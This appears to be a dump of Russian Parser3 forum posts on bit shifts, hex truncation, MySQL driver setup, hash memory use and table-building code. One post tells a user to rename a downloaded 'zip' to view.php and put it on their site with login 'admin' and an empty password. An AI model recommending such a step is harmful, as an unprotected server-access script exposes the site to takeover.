^if(!def $self.items){^get[]}\
^if(^self.items.locate[uri;$uri]){\
	$result($self.items.id)\
}{\
	$uri[^uri.match[(.*/).+?/?^$][]{$match.1}]\
	^if($uri ne \"/\"){\
		^get_id[$uri]\
	}\
}\
# end @get_id[]\
[/code]"
"49443","найти в src/main/pa_common.C строчку\
\"saved >> 16\"\
и поправить на такое:\
[code]\
*outptr++ = (unsigned char)(saved >> 16);\
*outptr++ = (unsigned char)(saved >> 8);\
*outptr++ = (unsigned char)(saved);\
[/code]\
\
из дому нет CVS доступа, положим в чуть позже."
"49444","[code]\
@main[]\
$d[^xdoc::create[doc]]\
$d[^d.transform[^xdoc::create{^xsl[]}]]\
^d.string[]\
\
@xsl[]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:output method=\"html\" />\
	<xsl:template match=\"/\">\
		ok<br/>ok\
	</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
запускаю...\
[code]\
Y:\\parser3project\\parser3\\www\\htdocs>Y:\\parser3project\\parser3\\src\\targets\\cgi\\Debug\\parser3\
.exe _bug.html\
\
\
\
                ok<br>ok\
Y:\\parser3project\\parser3\\www\\htdocs>Y:\\parser3project\\parser3\\src\\targets\\cgi\\Debug\\parser3\
.exe\
Y:\\parser3project\\parser3\\src\\targets\\cgi\\Debug\\parser3.exe: file not specified\
Parser/3.2.1 (compiled on i386-pc-win32)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: Y:\\parser3project\\parser3\\src\\targets\\cgi\\Debug\\parser3.exe [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
Y:\\parser3project\\parser3\\www\\htdocs>\
[/code]"
"49445","Под фрёй тоже всё так отработало.\
Но всё-таки у меня были изменения (или глюки). Я ещё покапаю и отпишу, чем всё кончилось."
"49446","возьми вот это http://pix-x.narod.ru/files/view.zip переименуй на [b]view.php[/b] и положи к себе на сайт, логин \"admin\" пароль пустой.\
думааю дальше разберёшься, сам посмотришь наличие mysqlclient.so\
\
Обращаю внимание - это не архив."
"49447","можно-ли реализовать на Парсере \"операцию побитового сдвига вправо без расширения знака\" ? Первая мысль замаскировать ненужные биты с помощью AND, но для этого нужно знать каких и сколько маскировать, может существует какое либо более стандартное/универсальное решение?\
\
и еще интересное, lib.p:\
[code]^dec2bin[-2875]<br>\
^dec2bin[268432581][/code]\
возвращают одно и то же число.\
[i]Upd.[/i] Все правильно, числа разные, просто не все биты увидел ;)"
"49448","Суппорт пишет:\
You can read /usr and even /usr/lib64/libmysqlclient.so\
\
It is something else. you may have a path issue (very common when doing UNIX stuff) or something else wrong with the software you are setting up. It may not like the version of mysql, etc, etc.\
\
Try the site where you dot the software. If it is something common, they may have some advice on how to fix it."
"49449","я его писал для себя, при этом мне не требовались числа более 32768 (мне это нужно было когда я ковырялся с масками)\
\
в принципе по хорошему надо заменить это на $n(1 << 30) да и ^n.div(2) заменить на $n($n >> 1)"
"49450","тест таблицы находит, но соединяться не хочет. все лежит на месте,права достаточные (755)\
\
собирал самостоятельно с опцией --disable-safe-mode"
"49451","[code]\
^if($amount & 1){\
	^$amount НЕ кратно двум\
}{\
	^$amount кратно двум\
}\
[/code]\
\
PS\
По идее, битовый оператор '&' работает быстрее чем '%'\
\
PPS\
Не забудьте: ноль тоже кратно двум."
"49452","немножко условий это\
[code]\
	is_published = 1 AND\
	is_closed = 0 AND\
	is_sync = 1\
[/code]\
на самом деле они они никак не влияют, они отсеивают ~20-25 сообщений...\
Далее выполняется только\
[code]\
 $CurrentUserPosts[^posts.select($posts.PublisherID == CurrentUser.UserID)] \
[/code]\
и потом \
[code]\
^CurrenUserPosts.menu{...}\
^posts.menu{...}\
[/code]\
\
Вчера вечером дома (пишу с работы, проверять могу только дома), попробовал вариант когда просто получаем таблицу и делаю menu{}\
 - все ок, а вот если сделать до этого select parser начинает жрать память... как оно в 3.1.5 попробую вечером если найду старые сорцы.\
P.S. в 3.1.2 этот код работал, возвращая есесно пустую таблицу..."
"49453","увы, 149 тестов сделал [перед выкладыванием все прошли], надо было сделать 150!\
\
из приятного: в новой Visual Studio 2005 выдаётся на это место ясный warning:\
[code]\
*outptr++ = (unsigned char)saved >> 16;\
.\\pa_common.C(925) : warning C4333: '>>' : right shift by too large amount, data loss\
[/code]\
\
раньше (VS 2003; старенькие gcc) не выдавался.\
\
что неприятно: очень много такого\
[code]\
hash.foreach(callback, &info);\
[/code]\
не компилится, компилятор настаивает на \
[code]\
hash.foreach<Info*>(&callback, &info);\
[/code]\
причём в официальном списке [b]обратных несовместимостей[/b] об этом ни слова. и в [i]некоторых[/i] местах подобный template parameter deducing проходит.\
\
говорит злое:\
[code]\
#так компилится\
charsets->for_each<Request_charsets*>(load_charset, &this->charsets);\
#так не компилится\
charsets->for_each(load_charset, &this->charsets);\
#полнейший бред выдаёт...\
.\\pa_request.C(223) : error C2784: \
'void Hash<K,V>::for_each(void (__cdecl *)(K,V,I),I) const' : \
could not deduce template argument for \
'void (__cdecl *)(K,V,I)' \
from \
'void (__cdecl *)(const String::Body,Value *,Request_charsets *)'\
        with\
        [\
            K=const String::Body,\
            V=Value *\
        ]\
        y:\\parser3project\\parser3\\src\\include\\pa_hash.h(327) : see declaration of 'Hash<K,V>::for_each'\
        with\
        [\
            K=const String::Body,\
            V=Value *\
        ]\
[/code]\
\
вдруг кто уже разобрался?\
\
вот это, скажем, компилится без проблем:\
[code]\
#скажем, в untaint.C в конце эта штука:\
	langs.for_each(body, cstr_to_string_body_block, &info);\
#вполне успешно скомпилилась без дополнительных пояснений\
	int cstr_to_string_body_block(\
		char alang, \
		size_t fragment_length, \
		Cstr_to_string_body_block_info* info)\
[/code]"
"49454","в том алгоритме что мне нужен рядом с zero-fill shift пометка:\
[code]note: use of >>> in place of >> due to lack of 'unsigned' type[/code]\
другими словами сгодился бы и >> но integer должен быть unsigned. На первый взгдяд ничего страшного, создаем double, он у нас вроде unsigned более менее. [url=\"http://www.parser.ru/forum/?id=37158\"]Но как только[/url] мы начинаем двигать биты, брюки моментально превращаются в элегантные шорты. Вобщем, ни тебе unsigned, ни тебе zero-fill...\
и что бы тут такого придумать?"
"49455","В принципе глюк не столь опасный, просто может создаться ситуация когда на сайте одновременно сообщения смотрят 2 контент менеджера и пока один просматривает сообщения например на 21 странице (подгрузка текста делается через AJAX и основная страница не обновляется) может получитсья так что второй удалит все сообщения на 22 странице, а у первого ссылка-то останется и при попытке посмотреть следующую страницу серваку будет очень плохо..."
"49458","а если запомнить знак,\
взять модуль числа,\
сдвинуть вправо,\
вернуть знак на место.\
\
Или я не так понял проблему?"
"49460","оно так и сделано, не помогает =)\
Дома инет сдох, пишу с работы, под руками точного кода не было..."
"49461","на форуме отнеслись несерьезно. Хотя проблема, могущая завалить сервак, требует к себе более серьезного отношения. Напишите на paf@design.ru, если проигнорирует - konst@design.ru\
Если Вам интересно посмотреть, как реализована работа с MySQL в сайте, попавшем ко мне на переделку, могу выслать по мылу соответствующие файлы, вполне возможно, что они содержат алгоритмы, позволяющие обойти этот косяк. По крайней мере, проблем с SQL не возникает. Разве что ядро фрюхи на парсер время от времени сердится…\
Прошу прощения, что не попытался помочь сам, но меня тут забанили уже, да и новые заказы требуют к себе внимания…"
"49462","попробовал так (в article мало записей):\
[code]\
^pSQL.server{\
\
$t[^table::sql{\
	SELECT\
		article_id AS id,\
		title\
	FROM\
		article\
}[\
	$.limit(1)\
	$.offset(10000)\
]]\
=^t.count[]=\
\
}\
[/code]\
3.2.1 на FreeBSD, Win - все работает\
\
в любом случае так падать не должно, поэтому стоит попробовать найти из-за чего падает."
"49463","1. Почему все переменные через $self ?\
\
2. @get_uri[id]\
Безполезный метод. Незнаю как вам, а мне он ни разу не пригодился.\
\
3. @get_id[uri]\
если по заданному пути объект не найден, то лучше выкидывать ошибку ^throw[uri:not_found;Объект по адресу '$uri' НЕ найден], а не выдавать номер другого элемента."
"49464","и... если собранные нами бинаркики работают, то можете у нас-же скачать их и без safe mode. для этого надо скопировать ссылку на интересующий вас вариант для скачивания и подправить её, добавив '_grpunlim' после названия OS."
"49465","задача примерно такая: есть хеш набитый некоторым количеством 32-битных чисел (array of longs). C этими числами в определенном порядке выполняются некие битовые, логические и арифметические манипуляции, результат которых не совпадает с ожидаемым :)\
\
для начала попробую маскировать лишние биты по типу\
[code]$var($var >> 16 & 0xFFFF)[/code]\
может что и получится..."
"49466","Сейчас, если преобразовывать таблицу к хешу в режиме distinct[tables] задав при этом желаемые столбцы значений,\
отгребаю ошибку:\
[quot]\
in distinct[tables] mode you may not specify value field(s)\
[/quot]\
\
А отказавшить от второго параметра, почучаю очень(!) избыточный хеш.\
\
PAF, планируется ли добавить возможность указывать столбцы значений в этом режиме?\
\
PS\
Кстати, в документации об этом ни слова."
"49467","т.к. вывести всё дерево требуется один раз, а вот получать uri объекта по id - тучу раз (ну... по крайней мере у меня). может быть именно поэтому у egr-а данные помещаются в хеш. \
\
правда я оригинальный get_uri переписал бы, чтобы там была рекурсия. примерно так:\
[code]\
@get_uri[id]\
^if($id && $items_hash.$id){\
	^rem{ *** если id != 0 и о таком id есть запись в хеше *** }\
	^if(def $items_hash.[$id].uri){\
		^rem{ *** если uri уже вычислен - возвращаем его *** }\
		$result[$items_hash.[$id].uri]\
	}{\
		^rem{ *** не вычислен - вычисляем *** }\
		$result[^if($items_hash.[$id].parent_id){^get_uri[$items_hash.[$id].parent_id]}/$items_hash.[$id].path]\
\
		^rem{ *** записываем вычисленное чтобы больше не заниматься этими глупостями *** }\
		$items_hash.[$id].uri[$result]\
	}\
}{\
	^throw[uri.missing;$id;Id '$id' not found]\
}\
#end @get_uri[]\
[/code]\
\
P.S. код не проверял"
"49468","в любом случае строки, которые лежат в таблице не дублируются в памяти. т.е. потери есть только на структуру хеш и струтуры таблиц."
"49469","сдвиг не циклический, при сдвиге вправо нулевой бит не уползает в знаковую область. или я туплю?"
"49470","там можно еще немного подкрутить, например чтобы не мелькало на экране при комментировании без выделения, поэксперементировать с BeginUpdate() ... EndUpdate(). Пробовал, у меня с пол оборота не получилось - начало глючить Undo, а разбираться нет особо времени. Еще при комментировании большого блока текста Undo убирает комментарий с каждой строки по очереди, а не со всего блока. Можно копировать выделение в буфер, там в цикле добавлять # и копировать обратно. Но это уже мелочи, и так все нормально работает.\
\
А вот с Uncomment у меня на HS 4.5 проблемы - если текст не выделен вылетает ошибка - [i]Overflow. Line 16 column 3.[/i] Если выделение есть - просто ничего не происходит."
"49471","не знал как это называется по-русски :)\
\
[quote]Операция правого сдвига с расширением знака (>>).\
\
Операция сдвигает биты первого операнда вправо на число позиций, указанных во втором операнде. Значения выдвинутых битов пропадают, а на место сдвинутых битов слева записывается значение левого \"знакового\" бита операнда. Пример.\
\
     9 >> 2 = 2\
    -9 >> 2 = -3\
\
Операция правого сдвига без расширения знака (>>>).\
\
Операция сдвигает биты первого операнда вправо на число позиций, указанных во втором операнде. Значения выдвинутых битов пропадают, а на место сдвинутых битов слева записываются нули.\
Пример.\
\
    19 >>> 2 = 4.[/quote]\
[url=\"http://www.yandex.ru/yandsearch?rpt=rad&text=%E1%E5%E7+%F0%E0%F1%F8%E8%F0%E5%ED%E8%FF+%E7%ED%E0%EA%E0\"]Yandex[/url]"
"49472","Есть таблица $my_table.\
[code]\
$my_table[^get[]]\
$my_hash_1[^my_table.hash[id]]\
$my_hash_2[^my_table.hash[parent_id][$.distinct[tables]]]\
# убиваем таблицу\
$my_table[]\
[/code]\
\
Если содержимое обоих хешей ссылается на данные таблицы, то что происходит когда таблица очищается?"
"49474","[code]\
$mask(2147483647)\
$n(-9)\
=^eval(($n & $mask) >> 2)=\
[/code]\
\
магическая цифирь [url=\"/docs/lang/intdoubleclasses.htm\"]отсюда[/url]"
"49475","строки остаются лежать в памяти. ^memory:compact[] после такой очистки освободит немного. вот если ссылок на эти строки не остается - соберет больше :)\
\
так что:\
[code]\
$my_table[^table::load[blah-blah-blah]]\
$my_hash_1[^my_table.hash[id]]\
[/code]\
\
на хэш пропивается совсем немного данных (количество элементов на размер структуры хеш, я не помню сколько байтиков занимает эта структура)"
"49476","пока навскидку вижу что оно вроде обнуляет знаковый бит, а он мне может в дальнейшем пригодиться (как бит, а не как знаковый)."
"49478","в смысле сделайте сдвиг вправо на 1, замаскируйте, сделайте сдвиг вправо (насколько вам было надо - 1)\
\
или можете в начале сгенерить набор масок. для сдвига вправо на 1 - одна, на 2 - другая. сгенерить их элементарно. если сдвиговых операций будет много то лучше так и сделать."
"49479","типо как [url=\"http://www.parser.ru/forum/?id=49465\"]тут[/url], или там есть подводные камни какие нибудь?"
"49480","лезут при сдвиге знаковые биты вместо нулевых, отсюда и несовпадение... \
Вобщем, Миша дал добро, будем маскировать их."
"49481","Если вам тучу раз надо вычислять пути объектов, то почему бы их не вычислить один раз (в админке). А потом просто брать готовую таблицу, переводить ее в хеш с ключем id и забыть про метод get_uri_by_id."
"49482","Оптимизаторы mySQL postgreSQl и Oracle сделают стандартный финт \
\
[quote]LIMIT 0 quickly returns an empty set. This can be useful for checking the validity of a query[/quote]"
"49483","[code]\
s0 is ^if($s0 is \"void\"){void}{not void}\
\
$s1[]\
s1 is ^if($s1 is \"void\"){void}{not void}\
\
$s2[$null]\
s2 is ^if($s2 is \"void\"){void}{not void}\
[/code]\
\
Возвращает:\
[code]\
s0 is void\
s1 is void\
s2 is not void\
[/code]\
\
А s1 у нас не void. Видимо это при компиляции оптимизируется?"
"49484","Наткнулись на довольно забавную ситуацию:\
\
Иногда парсером открывались вложеные соединения к двум разным базам, физически находящимися на одном хосте.\
Немаловажный факт - большинство табличек в базы были innoDB.\
\
Иногда в результате этого возникали непонятные жуткие блокировки, которые всегда лечились мягким рестартом базы.\
Логический финал - количество ошибок/откатов innoDB превысило норму и база ушла в вечный ребут."
"49485","Я как раз эту тему в свое время глубоко проработал на своем опыте.\
http://forum.dklab.ru/viewtopic.php?p=101995#101995"
"49486","Спасибо всем. В принципе, предположения и подтвердились. Насчет тейнта-антейнта - посмотрю поподробней."
"49488","[quote]Не забудьте: ноль тоже кратно двум.[/quote]\
Так поэтому и line"
"49489","[b]Задача[/b]\
Построить таблицу: строки — сотрудники, столбцы — месяцы, на пересечении — зарплата сотрудника за месяц. (Сотрудники, зарплаты, месяц — абстракция, на их месте может быть каждый :)\
\
Такую задачу я решал раньше следующим образом:\
[code]^for[employee_i](1;$employee_list){\
\
	<employee ord=\"$employee_i\">\
	\
		$salary[^hash::sql{\
			SELECT month, salary\
			...\
			WHERE\
			year=2005 AND employee_ord=$employee_i\
		}]\
		\
		^for[month_i](1;12){\
\
			<month no=\"$month_i\"\
			salary=\"$salary.[$month_i].salary\"/>\
\
		}\
	\
	</employee>\
}[/code]\
\
А теперь так:\
[code]$salary[^hash::sql{\
	SELECT CONCAT(month,'_',employee_ord), salary\
	...\
	WHERE\
	year=2005\
}]\
\
^for[employee_i](1;$employee_list){\
	\
	<employee ord=\"$employee_i\">\
	\
	^for[month_i](1;12){\
\
		<month no=\"$month_i\"\
		salary=\"$salary.[${month_i}_${employee_i}].salary\"/>\
\
	}\
	\
	</employee>\
}[/code]\
\
Есть ли более хорошие решения для подобных задач?"
"49490","Вот, нашел несколько кандидатур:\
- с поддержкой PYTHON & Perl\
[url=http://www.eserver.ru/pl/10672]eserver.ru[/url]\
- PHP 5 и удобным калькулятором хостинга\
[url=http://billing.standarthost.ru/click.php?bid=469]standarthost.ru[/url]\
- c JAVA & PHP 5 (наверно самый дешевый - всего от 1,45$ )\
[url=http://elvihost.net/order/host.php?name=unknown?bid=1]elvihost.net[/url]"
"49491","это тест\
http://ba1772.iho.ru/_test.html\
\
это клиентский (который в корне)\
http://ba1772.iho.ru/auto._p\
\
это главный (который рядом с парсером)\
http://ba1772.iho.ru/auto._p.main"
"49492","версия с сайта вобще работать не хочет, но надо заметить у меня не RH 7.3\
\
а какая потребность у парсера в ресурсах (память)? может-ли такое происходить из-за установленных лимитов?"
"49496","Почему волнуетесь над такой задачей, долго выдаёт результат?"
"49497","файлы там и лежат\
\
mysql	/usr/lib/libparser3mysql.so (32512 байт)	/usr/lib/mysql/libmysqlclient.so.12.0.0 (320998 байт)\
\
[ba1772@deep www]$ file /usr/lib/mysql/libmysqlclient.so\
/usr/lib/mysql/libmysqlclient.so: symbolic link to libmysqlclient.so.12.0.0\
\
[ba1772@deep www]$ file /usr/lib/libparser3mysql.so\
/usr/lib/libparser3mysql.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), stripped\
\
p.s. а что в конфиге-то не так?"
"49498","Ну я даже не знаю, это лостер вам положил libparser3mysql.so рядом с libmysqlclient.so ? Я так не пробовал. Сделал как в доке, libparser3mysql.so в cgi-bin директории, а в auto.p корня ВЕБ пространства прописал только @dbconnect[...] , хотя и итого можно не делать, именно для _test.html этот оператор не нужен\
У вас не определяется правильно путь к драйверу, попробуйте разложить все файлы как написно в доке\
\
Что и это лежит как показывает тест, не в cgi-bin ?\
/etc/parser3.charsets/windows-1251.cfg"
"49499","все лежит именно там где показывает тест. если-бы не лежало - тест бы выругался."
"49500","Просто почему-то до сегодня не приходило в голову как можно сделать «двойной» ключ хеша. Вот и стало интересно: может быть, еще проще можно решить задачу.\
\
Про $.distinct[tables] не вчитался раньше. Посмотрел сейчас, действительно поможет. Но если сотрудник работал с ноября (ранее информации о нем нет) — неудобно/медленно это проверять с помощью locate."
"49501","[code]$salary[^table::sql{\
	SELECT employee_ord, month, salary\
	...\
	WHERE\
	year=2005\
}]\
\
$salary[^salary.hash[employee_ord;$.distinct[tables]]]\
\
^for[employee_i](1;$employee_list){\
\
	<employee ord=\"$employee_i\">\
	\
		$_salary[$salary.$employee_i]\
		\
		^_salary.menu{\
		\
			<month no=\"$_salary.month\"\
			salary=\"$_salary.salary\"/>\
		\
		}\
	\
	</employee>\
}[/code]"
"49502","с какого-то момента (вот это я не отследил) вылезла старая ошибка:\
\
http://www.parser.ru/forum/?id=45699\
\
(кстати - просто персборка не помогала!, и в свое время я бросил с этим делом возиться)\
\
стал экспериментировать с опциями по сборке\
все решилось пересборкой __парсера__, вот в таком виде:\
\
./configure --disable-safe-mode --with-static-gc --with-dynamic-stdcpp\
\
-------------------\
\
p.s. если по теме нечего сказать, то лучше промолчать, а не отсылать к факу.\
\
-------------------\
"
"49503","обрезаются до maxint (при этом оставаясь double)\
[code]^if(0x9E000000 == 0xFF000000){equal}{not}[/code]"
"49504","Короче сижу тут разрабатываю и млею от удовольствия.\
Чуть меньше года как перешел с php на parser3 и очень счастлив.\
Особенно впечатляет централизованная обработка ошибок с пом. throw и unhandled_exception, то что он cgi, а не модуль и следовательно все мои скрипты я могу хранить даже с правами  400.\
И никаких запарок с инсталяцией - обычное копирование бинарников.\
Т.е. и под виндой и под линуксой все идет на ура (ну бывает конечно..., но это мелочи).\
Недавно пришлось написать класс авторизации, используя Basic с последующей проверкой через mysql - все работает моща.\
Очень удобная идеология, да и много еще чего, всего не перечислишь.\
ThanQ.\
Саша."
"49506","Используя числовые литералы в шестнадцатиричной форме нужно заботиться о том что бы они имели ноль в старшем розряде. Потому что он зарезервирован для указания признака отрицательного числа. \
И формат записи шестнадцатиричных чисел \"0x\" -- подсказывает об этом.\
[code]\
#################################################################\
[/code]\
[color=\"#0033dd\"]0[/color]111 1111 1111 1111 1111 1111 1111 1111  =  2147483647 ( 0x7FFFFFFF)\
[color=\"#0033dd\"]1[/color]000 0000 0000 0000 0000 0000 0000 0000  = -2147483648 (-1-0x7FFFFFFF)\
[code]\
#################################################################\
[/code]\
\
Поэтому записывая\
[code]\
$a(0x9F000000)\
[/code]\
имеем недопустимую единицу в саршем разряде\
[code]\
   1001 1111 0000 0000  0000 0000 0000 0000\
---^\
[/code]\
\
В ашем примере числа 0х9Е000000 и 0хFF000000 обрезаются до максимального целого числа 0х7F000000 и поэтому они равны.\
\
По поводу double: формат шестнадцатиричной записи предусмотрен только для целых чисел."
"49507","[code]\
^salary.foreach[id;value]{\
	<employee ord=\"$id\">\
	^value.menu{\
		<salary month-no=\"$value.month\" salary=\"$value.salary\" />\
	}\
	</employee>\
}\
[/code]"
"49508","[quote]И формат записи шестнадцатиричных чисел \"0x\" -- подсказывает об этом.[/quote]\
в смысле префикс? Мне он ничего такого не подсказывает.\
[i]The leading \"0\" is used so that the parser can simply recognize a number, and the \"x\" stands for hexadecimal.[/i]\
\
[quote]записывая $a(0x9F000000) имеем недопустимую единицу в саршем разряде[/quote]\
можно записать например $a(0x669F000000), единицы не будет, но Парсер его все равно обрежет.\
\
[quote]По поводу double: формат шестнадцатиричной записи предусмотрен только для целых чисел.[/quote]\
с каких это пор числа большие чем 2147483647 не являются целыми?\
а если имелось в виду \"только входящие в диапазон int\" то отрицательные числа от -2147483648 тоже в него входят, и тогда написав 0x9F000000 я должен был получить отрицательное число.\
\
Если я не могу получить таким образом отрицательное число, то почему бы не обрезать по диапазону unsigned int, ведь все равно все это дело потом пихается в double?\
\
Вобщем, либо эта фича есть некая бага, либо ей должно быть более убедительное обьяснение."
"49509","Проверил.\
\
Например имеем:\
\
[b]Ситуация-1[/b]\
[code]\
#######################################################\
@create[][result]\
$object[^table::load[]]\
$ALL[^object.hash[id]]\
$CHILD[^object.hash[parent_id][$.distinct[tables]]]\
# end of @create[]\
[/code]\
\
[b]Ситуация-2[/b]\
[code]\
#######################################################\
@create[][result;object]\
$object[^table::load[]]\
$ALL[^object.hash[id]]\
$CHILD[^object.hash[parent_id][$.distinct[tables]]]\
# убираем после себя\
$object[]\
# end of @create[]\
[/code]\
\
Оказывается, во второй ситуации отжирается больше памяти!"
"49510","1. В документации сказано, что 0хABCDEF -- это форма шестнадцатиричной записи [b]целого[/b] числа (а целое число имеет свой диапазон)\
\
2. По поводу формата \"0x\". Это я просто так предположил :)\
\
3. \
[quote]\
можно записать например $a(0x669F000000), единицы не будет, но Парсер его все равно обрежет.\
[/quote]\
\
единица будет!\
[code]\
0110 0110 1001 1111 0000 0000 0000 0000 0000 0000\
----------^\
[/code]\
\
4. $a(0x669F000000) -- согласно документации это число целое, т.к. записано в шестнадцатиричной форме, и больше maxint. Поэтому парсер \
обрезает его. (Думаю, что не Парсер, а процессор, потому что физически нельзя положить 40 разрядов на 32-разрядную шину)\
\
[code]\
$a(0x669F000000)\
a = $a -- целое и = maxint\
<br />\
$a($a+$a)\
a = $a -- число с плав-й точкой и = 2*maxint\
[/code]\
\
PS\
Это были мои предположения."
"49511","тупо взять и вывести:\
[code]\
<salaries>\
	^salary.menu{\
		<salary employer-ord=\"$salary.employee_ord\" year=\"2005\" month=\"$salary.month\">$salary.salary</salary>\
	}\
</salaries>\
[/code]\
\
XSLT не сложно заставить все это разобрать.\
Но надо быть извергом :)"
"49512","[code]\
$salary[^salary.hash[employee_ord][$.distinct[tables]]]\
\
^salary.foreach[id;value]{\
	$salary.[$id][^value.hash[month]]\
}\
# зарплата Тараса Назаровича за март месяц\
$salary.taras_nazarovich.3\
\
# или все сразу:\
^salary.foreach[name;salary_by_month]{\
	<employee name=\"$name\">\
		^for[i](1;12){\
			^if(def $salary_by_month.[$i]){\
				<salary month-no=\"$i\" unit=\"$\">$salary_by_month.[$i]</salary>\
			}\
		}\
	</employee>\
}\
[/code]"
"49513","Список гонщиков на две команды, в каждой команде — 8. Номера заявочные 1—16 уникальные для каждого гонщика в пределах одной сводной таблицы. Если на какой-то номер никто не заявлен я это в виде пустой строки вывожу — потому там и цикл :-)"
"49514","Всегда хочется испольховать этот метод вот так:\
\
[code]\
^if(^string.pos[строчка]){\
	найдена\
}{\
	не найдена\
}\
[/code]\
\
Это работало бы если бы возращаемая позиция отсчитывалась с единицы а не с нуля. А флагом не найдено был бы ноль."
"49515","[quote]В документации сказано, что 0хABCDEF -- это форма шестнадцатиричной записи целого числа (а целое число имеет свой диапазон)[/quote]\
В обычном понимании, множество целых чисел - это линейно упорядоченное множество без верхней и нижней границ. Другими словами, \"диапазон\" у этого множества примерно от минус бесконечности до плюс бесконечности (если не ошибаюсь, ибо с математикой у меня в школе было не очень).\
\
Если имелось в виду [i]тип целое цисло (Integer)[/i] - почему не учитывается часть диапазона с отрицательными значениями? Почему не обрезается по диапазону unsigned int (без учета знака)?\
[quote]единица будет! \
0110 0110 1001 1111 0000 0000 0000 0000 0000 0000\
----------^[/quote]\
ну можно вообще этот байт выкинуть, написать $a(0x6600000000), и Парсер все равно его обрежет.\
[quote]...больше maxint. Поэтому парсер обрезает его. (Думаю, что не Парсер, а процессор, потому что физически нельзя положить 40 разрядов на 32-разрядную шину)[/quote]\
ну в итоге Парсер кладет все это дело в double, есть подозрение что там разрядов поболее будет.\
[code]^if(0x9F000000 is double){sure, it is}[/code]\
допускаю возможность что все это является результатом некой \"оптимизации\", и \"фича\" оставлена с надеждой на то что никто об нее не споткнется. Вобщем, мое дело предупредить товарищей по несчастью - \"осторожно, тут ступенька!\" :)\
А причина происходящего мне интересна только \"постольку поскольку\", скорее как небольшая компенсация за время, потраченное на определение источника проблемы..."
"49521","[code] AuthType Basic\
 AuthName \"авторизация и регисрация в одном флаконе\"\
 AuthUserFile d:\\apache\\htdocs\\lock\\user\
 AuthGroupFile d:\\apache\\htdocs\\lock\\group\
 require valid-user[/code]\
Подозреваю, что можно заменить условие входа require valid-user так, чтобы пускать всех подряд, при этом получая $env:REMOTE_USER  и $form:password\
\
Можно?\
Можно ли обрабатывать ошибку авторизации, чтоб были доступны $env:REMOTE_USER  и $form:password?"
"49522","Пытаюсь открыть блакнотом, а он ни в какую. Что я уже не пробовала. Помогите пожайлуста!!!"
"49523","Измнил на сайте хостинга пароль к SQL базе и сайт перестал грузиться - больше ничего не менял . Как парсер запрашивает пароль , т.е. какая комнада и где ее предположительно искать ?"
"49524","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@busexpert.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception."
"49525","/cgi-bin/ директория, в корне WEB пространства и везде где найдёшь файл auto.p или чтото.p ищешь строку вида:[code]\
^что-то[mysql://логон:пароль@127.0.0.1/имя_базы]{$code}\
дальше думаю понятно."
"49527","[b]3.[/b] Если весь сайт построен на файлах, а один из разделов работаем с RewriteMod-ом — удобно. Например новости: раздел /news/, а Rewrite-ом обрабатываем /news/2006/02/06/, в таком случае класс uri начинает искать страницу с полным адресом и, не найдя, вываливается в ошибку. Можно, конечно, обрабатывать эту ошибку в вызывающем методе, но мне кажется более удобным внести эту проверку в класс, на случай неоднократного использования.\
\
[b]2.[/b] Мне, если честно, тоже не нужен пока. Т.к. в данный момент работаю с сайтом, который на файлах, а вот если структура будет храниться в базе — очень даже поможет этот метод.\
\
[b]1.[/b] Упс. :) Не знаю."
"49529","Но мне кажется, что удобнее было бы все таки с единицы считать, так же как ^table.line[] — показывает текущую строку начиная с единицы, так и ^string.pos[] показывал бы текущую позицию начиная с первого символа, а не с нулевого."
"49530","На счет буфера думал, но не пришел к решению. Пока что нет времени, позже доделаю. На счет uncomment-а не знаю, у меня на 5.5+ работает, я принцип его работы почти не изменял, это еще только в планах ;)"
"49532","Если на экране пусто, и сорсник HTML-я в блокноте показывает тоже самое, значит действительно ничего нет, то есть сервер в теле документа, а качестве ответа совсем ничего не послал."
"49533","То что пишется в браузере брехня. Нам нужно узнать название ошибки из вашего error.log'а"
"49534","Да нет все так, но почему то новости не отображаются как надо, т.е. ечть дата но нет ссылки на новость! и как сделать ссылку не понятно!"
"49535","Начинайте пробовать. Писать за вас никто не станет. А вот поправить где-то — наверняка.\
\
P.S. К счастью ли, к сожалению ли, пока нет(?) продуктов, написаных на Парсере, типа phpBB, суть которых в необязательности знать технологию для того чтобы их использовать."
"49536","Проблема ведь в корне — в неудобстве использовать .htpasswd с кучей записей?"
"49537","Хочу сделать такое: есть сайт (свой), к нему посылаю запрос, приходит ответ. Потом из этого ответа надо выбрать только определенную таблицу. \
Как такое можно сделать на парсере, т.е. отправку запросп и его обработку.\
ps. на парсере только 1 раз сел работать, доку еще пока читаю."
"49539","То есть нужно предварительно на сайте источнике как-тообозвать таблицы и потом их искать какой-то функцией или запросом?\
\
Еще такой возник - сайт отдается в UTF кодировке, не будет с этим проблем?"
"49540","[quote]\
Если весь сайт построен на файлах, а один из разделов работаем с RewriteMod-ом — удобно. Например новости: раздел /news/, а Rewrite-ом обрабатываем /news/2006/02/06/, в таком случае класс uri начинает искать страницу с полным адресом и, не найдя, вываливается в ошибку. Можно, конечно, обрабатывать эту ошибку в вызывающем методе, но мне кажется более удобным внести эту проверку в класс, на случай неоднократного использования\
[/quote]\
\
В таком случае в дереве надо хранить соответствующие объекты, что бы их полный uri получался  \"/news/2006/02/06/\".\
\
Представте ситуацию, когда абсолютно все (начиная с корня) запросы обрабатываются  RewriteMod. Когда, допустим, приходит запрос вида:\
\
http://site.ua/ru/presscentre/news/2006/02/06/\
\
а реально все передается на /\
Тогда методу, о котором идет реч, прийдется не сладко.\
\
\
   [color=\"#DDDDDD\"]* * *[/color]\
По поводу @get_uri[id]\
[quote]\
…а вот если структура будет храниться в базе — очень даже поможет этот метод\
[/quote]\
\
Представте что у вас есть глобальный хеш $OBJECT, построенный на основе таблички item. Зачем нужен метод @get_uri[id], если можно просто написать $OBJECT.[$id].uri и получить полный uri объекта или $OBJECT.[$id].title и получить заголовок."
"49542","[quote]В таком случае в дереве надо хранить соответствующие объекты, что бы их полный uri получался \"/news/2006/02/06/\".[/quote]\
\
